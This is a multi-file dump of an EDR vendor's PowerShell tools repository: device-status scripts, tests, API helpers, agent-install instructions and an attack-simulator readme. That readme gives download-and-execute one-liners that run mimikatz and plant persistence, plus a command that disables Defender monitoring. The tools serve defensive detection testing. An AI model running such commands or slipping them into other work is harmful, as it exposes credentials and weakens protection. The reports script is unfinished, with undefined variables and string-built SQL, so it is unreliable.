$RMMDeviceList | foreach { 25 | $name = $_.hostname 26 | $EDREntry = $EDRDeviceList | where { $_.hostname -eq $name } 27 | if ($EDREntry) { 28 | $newobj = [PSCustomObject]@{ 29 | agentId = $EDREntry.id 30 | deviceId = $EDREntry.deviceId 31 | organizationName = $EDREntry.organizationName 32 | locationName = $EDREntry.locationName 33 | hostname = $_.hostname 34 | type = $_.type 35 | os = $_.os 36 | RMMStatus = $_.status 37 | EDRStatus = $EDREntry.status 38 | authorized = $EDREntry.authorized 39 | isolated = $EDREntry.Isolated 40 | lastHeartbeat = ([DateTime]"$($EDREntry.heartbeat.TrimEnd("GMT+0000 (Coordinated Universal Time)")) GMT") 41 | dattoAvEnabled = $EDREntry.dattoAvEnabled 42 | hasEdrLicense = $EDREntry.hasEdrLicense 43 | hasAvLicense = $EDREntry.hasAvLicense 44 | version = $EDREntry.version 45 | markedForUninstall = $EDREntry.markedForUninstall 46 | markedForUpdate = $EDREntry.markedForUpdate 47 | 48 | } 49 | $NewList += $newobj 50 | } 51 | } 52 | Write-Host `n 53 | $NewList | ft hostname, EDRStatus, lastHeartBeat, authorized, isolated, hasEdrLicense, markedForUninstall 54 | 55 | Write-Host "Devices Online in RMM: $($RMMDeviceList.count)" 56 | Write-Host "Devices Online in RMM but inactive in EDR: $($NewList.count)" 57 | 58 | $NewList | Export-CSV $exportPath 59 | Write-Host "Exported results to $exportPath" 60 | & $exportPath 61 | } 62 | 63 | 64 | -------------------------------------------------------------------------------- /Archive/On-Prem 3.0+/RestoreDefaultLogin.ps1: -------------------------------------------------------------------------------- 1 | ### 2 | # This script is responsible for restoring a the Infocyte HUNT database from a DUMP file. 3 | # It purges the Infocyte pulse DB and replaces it with a new one, then cycles all of the services. 4 | # 5 | # - This script needs to be run with elevated security privledges (administrator security context) 6 | # - This script requires PowerShell 3.0. It will not work with 2.9 and older. 7 | ### 8 | # PARAMETERS 9 | # Param needs to be the first line of the script 10 | # 11 | Param( 12 | [Parameter( Position = 0, 13 | Mandatory = $false)] 14 | [String]$dbPw # DB Password 15 | ) 16 | ### 17 | # Confirmation Box 18 | # Because this script overwrites data, have left in the warning box to make sure users actually want to proceed 19 | # This was ooriginal and unmodified. 20 | ### 21 | $message = 'WARNING: This script will remove all user accounts within Infocyte.' 22 | $question = 'Are you sure you want to proceed?' 23 | 24 | $choices = New-Object Collections.ObjectModel.Collection[Management.Automation.Host.ChoiceDescription] 25 | $choices.Add((New-Object Management.Automation.Host.ChoiceDescription -ArgumentList '&Yes')) 26 | $choices.Add((New-Object Management.Automation.Host.ChoiceDescription -ArgumentList '&No')) 27 | 28 | $decision = $Host.UI.PromptForChoice($message, $question, $choices, 1) 29 | if ($decision -eq 0) { 30 | Write-Host 'Continuing' 31 | } else { 32 | Write-Host 'Exiting' 33 | return 34 | } 35 | 36 | # Variable for psql is needed to executs sql commands 37 | $psql = "C:\Program Files\Infocyte\Dependencies\Postgresql\bin\psql.exe" 38 | 39 | #Add hard coded password option and is found in C:\Program Files\Infocyte\api\server\datasources.json 40 | if($dbPw.Equals("")){ 41 | $dbpw = "" #this is the where you can hard-code the password to the database 42 | } 43 | 44 | #Get the datasources configurations loaded into object 45 | $PGConfig = (Get-Content "C:\Program Files\Infocyte\api\server\datasources.json" | ConvertFrom-Json).db 46 | 47 | #Get the password for the postgres account from the datasources.json file only if doesn't exist 48 | if($dbPw.Equals("")){ 49 | $username = "pulse" 50 | $env:PGPASSWORD = $PGConfig.password 51 | }else{ 52 | $env:PGPASSWORD = $dbPw 53 | } 54 | 55 | #Get the target database 56 | $database = $PGConfig.database 57 | 58 | #Do the sql deletions 59 | Write-Host "Deleting users and relations..." 60 | 61 | & $psql -U $username -c "DELETE FROM public.useridentity" 62 | & $psql -U $username -c "DELETE FROM public.role" 63 | & $psql -U $username -c "DELETE FROM public.rolemapping" 64 | 65 | #Restart the node service 66 | Write-Host "Restarting Node Service" 67 | Restart-Service huntNodeSvc 68 | 69 | #Let them know it's finisheds 70 | Write-Host "Finished" -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/data.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | Describe "Get-ICObject" { 3 | BeforeAll { 4 | Set-ICBox -Global -Last 90 5 | } 6 | 7 | It "Gets a Powershell.exe object from processes" { 8 | $r = Get-ICObject -Type "Process" -where @{ name = "powershell.exe" } 9 | $r.Count | Should -GE 1 10 | } 11 | 12 | It "Gets a Powershell.exe object from artifacts" { 13 | $r = Get-ICObject -Type "Artifact" -where @{ name = "powershell.exe" } 14 | $r.Count | Should -GE 1 15 | } 16 | 17 | It "Gets extension objects" { 18 | $r = Get-ICObject -Type "Extension" 19 | $r.Count | Should -GE 1 20 | } 21 | 22 | It "Gets account objects" { 23 | $r = Get-ICObject -Type "Account" 24 | $r.Count | Should -GE 1 25 | } 26 | 27 | It "Gets host objects" { 28 | $r = Get-ICObject -Type "Host" 29 | $r.Count | Should -GE 1 30 | } 31 | 32 | It "Gets any File objects" { 33 | $file = Get-ICObject -Type "Process" -where @{ name = "powershell.exe" } | Select -First 1 34 | $r = Get-ICObject -Type "File" -where @{ sha1 = $($file.sha1) } 35 | $r.Count | Should -GE 1 36 | } 37 | 38 | It "Gets instances of powershell.exe with CLI args" { 39 | $r = Get-ICObject -Type "Process" -where @{ name = "powershell.exe" } -AllInstances 40 | $r.Count | Should -GE 1 41 | $r | where { $_.commandline -match "-" } | Should -Not -Be $null 42 | 43 | } 44 | } 45 | 46 | Describe "Get-ICVulnerability" { 47 | 48 | It "Gets vulnerabilities" { 49 | $r = Get-ICVulnerability 50 | $r.Count | Should -GE 1 51 | } 52 | } 53 | 54 | Describe "Get-ICAlert" { 55 | 56 | It "Gets alerts" { 57 | $r = Get-ICAlert 58 | $r.Count | Should -GE 1 59 | } 60 | } 61 | 62 | Describe "Get-ICReport" { 63 | 64 | It "Gets reports" { 65 | $r = Get-ICReport 66 | $r.Count | Should -GE 1 67 | } 68 | } 69 | 70 | Describe "Get-ICActivityTrace" { 71 | 72 | It "Gets Activity Trace" { 73 | $r = Get-ICActivityTrace 74 | $r.Count | Should -GE 1 75 | } 76 | } 77 | 78 | Describe "Get-ICDwellTime" { 79 | 80 | It "Gets Dwell Time stats" { 81 | $r = Get-ICDwellTime 82 | $r.Count | Should -GE 1 83 | } 84 | } 85 | 86 | Describe "Get-ICFileDetail and ICNotes" { 87 | BeforeAll { 88 | $file = Get-ICObject -Type "Process" -where @{ commentCount = @{ gte = 1}} | select -First 1 89 | } 90 | 91 | It "Gets file details" { 92 | $r = Get-ICFileDetail -sha1 $file.fileRepId 93 | $r | Should -Not -Be $null 94 | $r.commentCount | Should -BeOfType int 95 | } 96 | 97 | It "Gets file notes" { 98 | $r = Get-ICNote -sha1 $file.fileRepId 99 | $r | Should -Not -Be $null 100 | $r.createdBy | Should -Not -Be $null 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /AttackSim/readme.md: -------------------------------------------------------------------------------- 1 | ## Datto EDR Behavioral Attack Simulator 2 | **Platform:** Microsoft Windows 7+ or Server 2008+\ 3 | **Powershell Version:** 3.0+\ 4 | **.NET Version:** 4.5+ 5 | 6 | *This script will execute several MITRE ATT&CK adversarial behaviors and add several footholds/Autoruns which are pointed at non-malware (calculator and cmd.exe). The only malicous software run is mimikatz (steals passwords from memory) which will not persist. The following command is all you need. Run it on any windows system from within Powershell (Administrator-level) and it will download this script and execute it.* 7 | 8 | --- 9 | ## Run Attack Script 10 | 11 | #### From Powershell: 12 | ``` 13 | [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); Invoke-Expression (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AttackSim/attackscript.ps1") 14 | ``` 15 | 16 | ### OR 17 | 18 | #### From outside Powershell (like in cmd.exe or a batch script): 19 | ``` 20 | powershell.exe -ExecutionPolicy bypass -noprofile -nologo -command { [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); Invoke-Expression (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AttackSim/attackscript.ps1") } 21 | ``` 22 | 23 | *WARNING: This script will leave your system in a messy state with some persist footholds set to launch calculators at varying times in the future. Run the cleanup script to remove these.* 24 | 25 | 26 | --- 27 | --- 28 | --- 29 | ## Disable Defender (Endpoint Protection) 30 | 31 | *While the script will attempt to disable Microsoft Defender's realtime protection in the evasion step, you may need to proactively disable your endpoint protection prior to running this initial command to let the initial script run:* 32 | 33 | #### Disable Microsoft Defender's realtime Monitoring: 34 | ``` 35 | powershell.exe -command 'Set-MpPreference -DisableRealtimeMonitoring $true' 36 | ``` 37 | 38 | #### Restore Microsoft Defender's realtime monitoring: 39 | ``` 40 | powershell.exe -command 'Set-MpPreference -DisableRealtimeMonitoring $false' 41 | ``` 42 | 43 | --- 44 | 45 | ## Cleanup Script: 46 | *Some persist footholds are left on systems in order to test non-realtime foothold scanning. Run this to remove them* 47 | 48 | #### From Powershell: 49 | ``` 50 | [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); Invoke-Expression (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AttackSim/attackscript_fullrestore.ps1") 51 | ``` 52 | 53 | ### OR 54 | 55 | #### From outside Powershell (like in cmd.exe or a batch script): 56 | ``` 57 | powershell.exe -ExecutionPolicy bypass -noprofile -nologo -command { [System.Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); Invoke-Expression (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AttackSim/attackscript_fullrestore.ps1") } 58 | ``` 59 | -------------------------------------------------------------------------------- /HUNT Powershell Module/tests/requestHelpers.test.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | Describe "Get-ICAPI" { 4 | 5 | It "Gets the Version" { 6 | $ver = Get-ICAPI -Endpoint "Version" -Fields serverVersion 7 | $ver.serverVersion.Split('.')[3] | Should -BeGreaterOrEqual "2400" 8 | } 9 | 10 | It "Gets a specific flag named 'Verified Good'" { 11 | $r = Get-ICAPI -Endpoint "flags" -where @{ name = "Verified Good" } 12 | $r.color | Should -BeExactly "green" 13 | } 14 | 15 | It "Returns null on no results" { 16 | $r = Get-ICAPI -Endpoint "flags" -where @{ name = "fake" } 17 | $r | Should -Be $null 18 | } 19 | 20 | It "Gets flags weight using -fields filter" { 21 | $r = Get-ICAPI -endpoint "flags" -fields weight 22 | $r[0].name | Should -Be $null 23 | { [int]$r[0].weight } | Should -Not -Throw 24 | [int]$r[0].weight | Should -BeOfType [int] 25 | } 26 | 27 | It "Throws on fake endpoint" { 28 | $err = { Get-ICAPI -Endpoint "fake" } | Should -Throw -Passthru 29 | $err.Exception.GetType().Name | Should -BeIn @("WebException","HttpResponseException") 30 | } 31 | 32 | It "Gets the count of an API" { 33 | $b = Get-ICAPI -endpoint "Users" 34 | $c = Get-ICAPI -endpoint "Users" -CountOnly 35 | $c | Should -BeExactly $b.Count 36 | } 37 | 38 | It "Only gets first 1000 entries" { 39 | $r = Get-ICAPI -Endpoint "jobs" 40 | $r.Count | Should -BeExactly 1000 41 | } 42 | 43 | It "Gets all entries on -NoLimit" -Skip { 44 | $date = Get-Date -format "u" 45 | Mock Get-Host { 46 | [pscustomobject] @{ 47 | ui = Add-Member -PassThru -Name PromptForChoice -InputObject ([pscustomobject] @{}) -Type ScriptMethod -Value { return 1 } 48 | } 49 | } 50 | $cnt = Get-ICAPI -Endpoint "jobs" -where @{ createdOn = @{ lt = $date } } -CountOnly 51 | if ($cnt -gt 1000000) { $cnt = 1000000 } 52 | $r = Get-ICAPI -Endpoint "jobs" -where @{ createdOn = @{ lt = $date } } -NoLimit 53 | $r.Count | Should -BeExactly $cnt 54 | } 55 | } 56 | 57 | Describe "Invoke-ICAPI" { 58 | AfterAll { 59 | Get-ICFlag -where @{ or = @( @{ name = $Testname }, @{ name = $null }) } | Remove-ICFlag 60 | } 61 | 62 | It "Creates a flag via POST method" { 63 | $Endpoint = "flags" 64 | $body = @{ 65 | name = $Testname 66 | color = "blue" 67 | weight = 5 68 | } 69 | $r = Invoke-ICAPI -method POST -Endpoint $Endpoint -body $body 70 | $r.id | Should -Not -Be $null 71 | } 72 | 73 | It "Throws while using an illegal endpoint method" { 74 | $err = { 75 | $Endpoint = "fake" 76 | $body = @{ 77 | name = $Testname 78 | color = "blue" 79 | weight = 5 80 | } 81 | Invoke-ICAPI -method POST -Endpoint $Endpoint -body $body 82 | } | Should -Throw -Passthru 83 | $err.Exception.GetType().Name | Should -BeIn @("WebException","HttpResponseException") 84 | } 85 | 86 | } 87 | 88 | -------------------------------------------------------------------------------- /HUNT Powershell Module/scan_schedule.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Add-ICScanSchedule { 3 | [cmdletbinding()] 4 | param( 5 | [parameter(Mandatory)] 6 | [ValidateNotNullOrEmpty()] 7 | [String]$TargetGroupId, 8 | 9 | [parameter(Mandatory)] 10 | [ValidateNotNullOrEmpty()] 11 | [String]$CronExpression, 12 | 13 | [PSObject]$ScanOptions 14 | ) 15 | $TargetGroup = Get-ICTargetGroup -TargetGroupId $TargetGroupId 16 | if (-NOT $TargetGroup) { 17 | Throw "No such target group with id $TargetGroupId" 18 | } 19 | $Endpoint = "scheduledJobs" 20 | Write-Verbose "Creating new schedule for TargetGroup: $($TargetGroup.name) with Cron Express: $CronExpression" 21 | $body = @{ 22 | name = 'scan-scheduled' 23 | relatedId = $TargetGroupId 24 | schedule = $CronExpression 25 | data = @{ 26 | targetId = $TargetGroupId 27 | } 28 | } 29 | if ($ScanOptions) { 30 | if ($ScanOptions.EnableProcess -eq $True) { 31 | $body.data['options'] = $ScanOptions 32 | } else { 33 | Throw "ScanScheduleOptions format is invalid -- use New-ICScanScheduleOptions to create an options object" 34 | } 35 | } 36 | Invoke-ICAPI -Endpoint $Endpoint -body $body -method POST 37 | } 38 | 39 | function Get-ICScanSchedule { 40 | [cmdletbinding()] 41 | param( 42 | [String]$Id, 43 | [String]$TargetGroupId, 44 | [HashTable]$where=@{} 45 | ) 46 | $Endpoint = "ScheduledJobs" 47 | if ($TargetGroupId) { 48 | $TargetGroups = Get-ICTargetGroup -TargetGroupId $TargetGroupId 49 | $ScheduledJobs = Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$true | Where-Object { $_.relatedId -eq $TargetGroupId} 50 | } else { 51 | $TargetGroups = Get-ICTargetGroup 52 | $ScheduledJobs = Get-ICAPI -Endpoint $Endpoint -where $where -NoLimit:$true 53 | } 54 | 55 | $ScheduledJobs | % { 56 | if ($_.relatedId) { 57 | $tgid = $_.relatedId 58 | $tg = $TargetGroups | Where-Object { $_.id -eq $tgid } 59 | if ($tg) { 60 | $_ | Add-Member -MemberType "NoteProperty" -name "targetGroup" -value $tg.name 61 | } else { 62 | $_ | Add-Member -MemberType "NoteProperty" -name "targetGroup" -value $Null 63 | } 64 | } 65 | } 66 | $ScheduledJobs 67 | } 68 | 69 | function Remove-ICScanSchedule { 70 | [cmdletbinding(SupportsShouldProcess, DefaultParameterSetName = 'scheduleId')] 71 | param( 72 | [parameter( 73 | Mandatory, 74 | ParameterSetName = 'scheduleId', 75 | Position = 0, 76 | ValueFromPipeline, 77 | ValueFromPipelineByPropertyName 78 | )] 79 | [ValidateScript({ if ($_ -match $GUID_REGEX) { $true } else { throw "Incorrect input: $_. Should be a guid."} })] 80 | [alias('scheduleId')] 81 | [string]$Id, 82 | 83 | [parameter(Mandatory, ParameterSetName = 'targetGroupId')] 84 | [ValidateNotNullOrEmpty()] 85 | [Alias("targetId")] 86 | $targetGroupId 87 | ) 88 | PROCESS { 89 | if (-NOT $Id -AND $_ ) { 90 | Write-Debug "Taking input from raw pipeline (`$_): $_." 91 | $Id = $_ 92 | } 93 | $Schedules = Get-ICScanSchedule 94 | if ($Id) { 95 | $schedule = $Schedules | Where-Object { $_.id -eq $Id} 96 | } 97 | elseif ($TargetGroupId) { 98 | $schedule = $Schedules | Where-Object { $_.relatedId -eq $TargetGroupId} 99 | $ScheduleId = $schedule.id 100 | } else { 101 | throw "Incorrect input!" 102 | } 103 | $tgname = $schedule.targetGroup 104 | if (-NOT $tgname) { throw "TargetGroupId not found!"} 105 | $Endpoint = "scheduledJobs/$ScheduleId" 106 | if ($PSCmdlet.ShouldProcess($Id, "Will remove schedule from $tgname")) { 107 | Write-Warning "Unscheduling collection for Target Group $tgname" 108 | Invoke-ICAPI -Endpoint $Endpoint -method DELETE 109 | } 110 | } 111 | } 112 | 113 | -------------------------------------------------------------------------------- /HUNT Powershell Module/reports.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Update-ICCompromisedHosts { 3 | Param( 4 | [parameter(HelpMessage="The field or fields to return.")] 5 | [String[]]$flags=@("Verified Bad") 6 | ) 7 | 8 | $FileTypes = @( 9 | "Process", 10 | "Module", 11 | "Driver", 12 | "MemScan", 13 | "Artifact", 14 | "Autostart", 15 | "Script" 16 | ) 17 | 18 | #BoxId 19 | $Boxes = Get-ICBox -Global -Last 90 20 | $Boxes | ForEach-Object { 21 | $BoxId = $_.Id 22 | $where = @{ 23 | boxId = $BoxId 24 | or = @( 25 | @{ threatName = "Bad" }, 26 | @{ threatName = "Blacklist" } 27 | ) 28 | } 29 | $flags | ForEach-Object { 30 | $where['or'] += @{ flagName = $_ } 31 | } 32 | $CompromisedFiles = Get-ICObject -Type File -BoxId $_.id -Where $where -AllInstances 33 | 34 | # Unique hostnames 35 | $CompromisedHosts = $CompromisedFiles | Sort-Object hostId -Unique | Select-Object boxId, hostId, hostname 36 | 37 | $CompromisedHosts.hostId | ForEach-Object { 38 | $SQLQuery = "Select id, hostid, boxid, scanid, compromised from boxhost where boxid='$BoxId' AND hostid='$_'" 39 | $results = saas sql -d cpxextext4572 --sql $query | convertfrom-csv 40 | } 41 | 42 | } 43 | 44 | $Endpoint = "BoxExtensionInstances" 45 | $fields = @("id", "extensionId", "extensionVersionId", "hostname", "ip", "sha256", 46 | "hostScanId", "success", "threatStatus", "name", "hostId", "scanId", "scannedOn", "startedOn", "endedOn", "output") 47 | $result = Get-ICAPI -Endpoint $Endpoint -where $where -fields $fields -NoLimit:$NoLimit -CountOnly:$CountOnly 48 | $fields = @("id","extensionId","extensionVersionId","boxId","hostScanId","success","threatStatus","name","hostId","scanId") 49 | Write-Verbose "Aggregating Extensions." 50 | $extensioninstances = Get-ICObject -Type "Extension" -BoxId $BoxId -where $where -fields $fields -AllInstances -NoLimit:$NoLimit 51 | 52 | Get-ICAPI -Endpoint $Endpoint -where $where -fields $fields -NoLimit:$NoLimit -CountOnly:$CountOnly 53 | } 54 | 55 | [String[]]$flags=@("Verified Bad") 56 | $FileTypes = @( 57 | "Process", 58 | "Module", 59 | "Driver", 60 | "MemScan", 61 | "Artifact", 62 | "Autostart", 63 | "Script" 64 | ) 65 | 66 | $Boxes = Get-ICBox -Global 67 | $Boxes | ForEach-Object { 68 | $BoxId = $_.Id 69 | $where = @{ 70 | boxId = $BoxId 71 | or = @( 72 | @{ threatName = "Bad" }, 73 | @{ threatName = "Blacklist" } 74 | ) 75 | } 76 | $flags | ForEach-Object { 77 | $where['or'] += @{ flagName = $_ } 78 | } 79 | $CompromisedFiles = Get-ICObject -Type File -BoxId $boxid -Where $where -AllInstances 80 | 81 | # Unique hostnames 82 | $CompromisedHosts = $CompromisedFiles | Sort-Object hostId -Unique | Select-Object hostname -ExpandProperty hostname 83 | 84 | $hostscans = @() 85 | $CompromisedHostIds | % { 86 | $hostscans += saas sql -d cpxextext4572 --sql "Select id, hostid, boxid, scanid, compromised from boxhost where boxid='$BoxId' AND hostid='$_'" | convertfrom-csv 87 | } 88 | $hostscans | % { 89 | $Query = "UPDATE hostscan SET compromised = true WHERE id='$_'" 90 | Write-Host $Query 91 | saas sql -d cpxextext4572 --sql $Query | convertfrom-csv 92 | } 93 | } 94 | 95 | 96 | 97 | 98 | 99 | #$Query = "SELECT hostname, hostscanid, filerepid, flagname, threatname, compromised, boxid, scanid, hostid FROM boxprocessinstance, boxmoduleinstance, boxdriverinstance, boxmemscaninstance, boxautostartinstance, boxartifactinstance, boxscriptinstance WHERE boxid = $BoxId AND (threatname = 'Bad' OR threatname = 'Blacklist' or flagname = 'Verified Bad'" 100 | -------------------------------------------------------------------------------- /AgentDeployment/readme.md: -------------------------------------------------------------------------------- 1 | ## Datto EDR Agent Scripted Installer (One Line Powershell) 2 | **Platform:** Microsoft Windows 7+ or Server 2008+\ 3 | **Powershell Version:** 2.0+\ 4 | **.NET Version:** 4.8+ 5 | 6 | The following command is all you need. Run it on any windows system and it will download this script and execute it. This is useful for scripted software distribution, sccm, or GPO deployments in leu of an MSI. The script will manage an automated installation process for the Datto EDR agent. *IMPORTANT: You DO NOT need to download this script. Leave it here unless you want to host it yourself.* 7 | 8 | To execute this script on a windows host, run this command replacing `` with your EDR instance's url \ and any optional arguments like registration key `[regkey]`. 9 | IMPORTANT: Do not include the brackets. 10 | 11 | ``` 12 | (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR [regkey] 13 | ``` 14 | 15 | #### The positional arguments after the command *Install-EDR* are: 16 | * **(1st Argument) \:** `-url https://alpo1.infocyte.com` (urls formated like `alpo1.infocyte.com` or even just the cname `alpo1` also work here) 17 | * **(2nd Argument) [Optional]:** `-RegKey regkey` 18 | 19 | Registration Key (*regkey*) is created in the Agent Admin panel. This will automatically approve the agent registration and add it to its' associated org and location instead of the default one. 20 | 21 | Note: *Url* (1) and *RegKey* (2) are positional arguments so they don't require argument headers if in position 1 and 2 after `Install-EDR`. 22 | 23 | ### Example 1 (instancename only - Installing to demo1.infocyte.com with no registration key): 24 | > `(new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR https://demo1.infocyte.com` 25 | 26 | ### Example 2 (For use in batch or GPO - Installing to demo1.infocyte.com with registration key 'xregkey01'): 27 | If running from outside Powershell (like in a batch or GPO install script): 28 | > `powershell.exe -ExecutionPolicy bypass -noprofile -nologo -command { (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR https://demo1.infocyte.com xregkey01 }` 29 | 30 | ### Example 3 (using named arguments): 31 | > `(new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Install-EDR -url https://alpo1.infocyte.com -regkey "asdfasdf" -friendlyname "DBServer01" -proxy "user:password@192.168.1.1:8080" -interactive` 32 | 33 | --- 34 | 35 | ## Additional (Optional) Parameters: 36 | * *-Interactive* 37 | * *-Force* 38 | * *-FriendlyName "String"* 39 | * *-Proxy "user:password@192.168.1.1:8080"* 40 | 41 | 42 | ##### Interactive Mode 43 | Silent run is default so if you want to troubleshoot or check out what is happening, check the log file or run the command in interactive mode: Add *-Interactive* to the end of the command. 44 | 45 | In either mode, the output/log can be read here: 46 | > `Get-Content "$env:Temp\agentinstallscript.log"` 47 | 48 | ##### Proxy Configuration: 49 | * Authenticated: *-Proxy "\:\@\:\"* 50 | * Unauthenticated: *-Proxy "\:\"* 51 | 52 | ##### Force Reinstall: 53 | Use *-Force* to force a reinstall (by default it bails) 54 | 55 | ##### Friendly Name: 56 | Use *-FriendlyName* to add a descriptive name for the system (otherwise it uses hostname). This can be added or changed in the web console as well after install. 57 | 58 | 59 | 60 | ## Uninstall One-Liner 61 | This script also includes an uninstallagent command: 62 | 63 | ``` 64 | (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Infocyte/PowershellTools/master/AgentDeployment/install_huntagent.ps1") | iex; Uninstall-EDR 65 | ``` 66 | -------------------------------------------------------------------------------- /NetworkDiagnostics/InfocyteNetworkTest.psd1: -------------------------------------------------------------------------------- 1 | # 2 | # Module manifest for module 'RemoteDiagnosticTest' 3 | # 4 | # Generated by: Chris Gerritz 5 | # 6 | # Generated on: 12/19/2019 7 | # 8 | 9 | @{ 10 | 11 | # Script module or binary module file associated with this manifest. 12 | RootModule = 'InfocyteNetworkTest.psm1' 13 | 14 | # Version number of this module. 15 | ModuleVersion = '1.1.1' 16 | 17 | # Supported PSEditions 18 | # CompatiblePSEditions = @() 19 | 20 | # ID used to uniquely identify this module 21 | GUID = 'd44b355a-9301-477b-aa73-edc4653095c7' 22 | 23 | # Author of this module 24 | Author = 'Chris Gerritz' 25 | 26 | # Company or vendor of this module 27 | CompanyName = 'Infocyte, Inc.' 28 | 29 | # Copyright statement for this module 30 | Copyright = '(c) 2014-2020 Infocyte, Inc. All rights reserved.' 31 | 32 | # Description of the functionality provided by this module 33 | Description = 'Tests remote administration protocols and configurations for agentless scanning with Infocyte' 34 | 35 | # Minimum version of the Windows PowerShell engine required by this module 36 | PowerShellVersion = '3.0' 37 | 38 | # Name of the Windows PowerShell host required by this module 39 | # PowerShellHostName = '' 40 | 41 | # Minimum version of the Windows PowerShell host required by this module 42 | # PowerShellHostVersion = '' 43 | 44 | # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 45 | # DotNetFrameworkVersion = '' 46 | 47 | # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. 48 | # CLRVersion = '' 49 | 50 | # Processor architecture (None, X86, Amd64) required by this module 51 | # ProcessorArchitecture = '' 52 | 53 | # Modules that must be imported into the global environment prior to importing this module 54 | # RequiredModules = @() 55 | 56 | # Assemblies that must be loaded prior to importing this module 57 | # RequiredAssemblies = @() 58 | 59 | # Script files (.ps1) that are run in the caller's environment prior to importing this module. 60 | # ScriptsToProcess = @() 61 | 62 | # Type files (.ps1xml) to be loaded when importing this module 63 | # TypesToProcess = @() 64 | 65 | # Format files (.ps1xml) to be loaded when importing this module 66 | # FormatsToProcess = @() 67 | 68 | # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess 69 | # NestedModules = @() 70 | 71 | # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 72 | FunctionsToExport = @( 73 | "Test-ICNetworkAccess", 74 | "Test-Port", 75 | "Test-ADCredentials", 76 | "Invoke-PortScan" 77 | ) 78 | 79 | # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. 80 | CmdletsToExport = @() 81 | 82 | # Variables to export from this module 83 | VariablesToExport = '*' 84 | 85 | # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. 86 | AliasesToExport = @() 87 | 88 | # DSC resources to export from this module 89 | # DscResourcesToExport = @() 90 | 91 | # List of all modules packaged with this module 92 | # ModuleList = @() 93 | 94 | # List of all files packaged with this module 95 | # FileList = @() 96 | 97 | # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. 98 | PrivateData = @{ 99 | 100 | PSData = @{ 101 | 102 | # Tags applied to this module. These help with module discovery in online galleries. 103 | # Tags = @() 104 | 105 | # A URL to the license for this module. 106 | # LicenseUri = '' 107 | 108 | # A URL to the main website for this project. 109 | # ProjectUri = '' 110 | 111 | # A URL to an icon representing this module. 112 | # IconUri = '' 113 | 114 | # ReleaseNotes of this module 115 | # ReleaseNotes = '' 116 | 117 | } # End of PSData hashtable 118 | 119 | } # End of PrivateData hashtable 120 | 121 | # HelpInfo URI of this module 122 | # HelpInfoURI = '' 123 | 124 | # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. 125 | # DefaultCommandPrefix = '' 126 | 127 | } 128 | -------------------------------------------------------------------------------- /HUNT Powershell Module/README.md: -------------------------------------------------------------------------------- 1 | [![latest version](https://img.shields.io/powershellgallery/v/InfocyteHUNTAPI.svg?label=latest+version)](https://www.powershellgallery.com/packages/InfocyteHUNTAPI) 2 | 3 | # Infocyte HUNT API Module 4 | Used to interface with the Infocyte API. Anything you can do in the interface can also be done with Powershell. 5 | Tested on Powershell Version: 5.0 6 | 7 | ## Getting Started 8 | 9 | #### Step 1: Install the module: 10 | > PS> Install-Module -Name InfocyteHUNTAPI 11 | 12 | Or Update the module: 13 | > PS> Update-Module -Name InfocyteHUNTAPI 14 | 15 | #### Step 2: Create an API Token 16 | Create an API token in the Web Console within your profile or admin panel. 17 | 18 | #### Step 3: Save your Token into Powershell 19 | Use Set-ICToken to register your Infocyte instance or HUNT server with this API token. This will store your login token and server into a global variable for use by the other commands. 20 | Example: 21 | > PS> Set-ICToken -Instance alpo1 -Token ASASDFASDFSASDF12123 -Save 22 | 23 | - Instance name is the first part of your address: https://alpo1.infocyte.com only requires `alpo1` 24 | 25 | 26 | ## Use the Module 27 | If installed, just load up the Instance you want to interact with in your Powershell session using `Set-ICToken`. 28 | > PS> Set-ICToken -Instance alpo1 29 | 30 | ### Retrieving Data and Interacting with Boxes 31 | Raw data within Infocyte is either an event or forensic object (we call these instances). There are three pre-compiled aggregations of these events we call boxes that normalizes data (i.e. unique by hash+path) and calculates stats for the trailing 7, 30, and 90 days globally and for each target group. By default, getting data using a function like `Get-ICObject` will target the `Global Last 7 Day` box. 32 | **Setting the default box:** 33 | > PS> Set-ICBox -Global -Last 7 34 | 35 | OR 36 | > PS> $TG = Get-ICTargetGroup | where { $_.name -eq "Target Group 1" } 37 | > PS> Set-ICBox -TargetGroupId $TG.Id -Last 30 38 | 39 | 40 | **Getting Data:** 41 | > $artifacts = 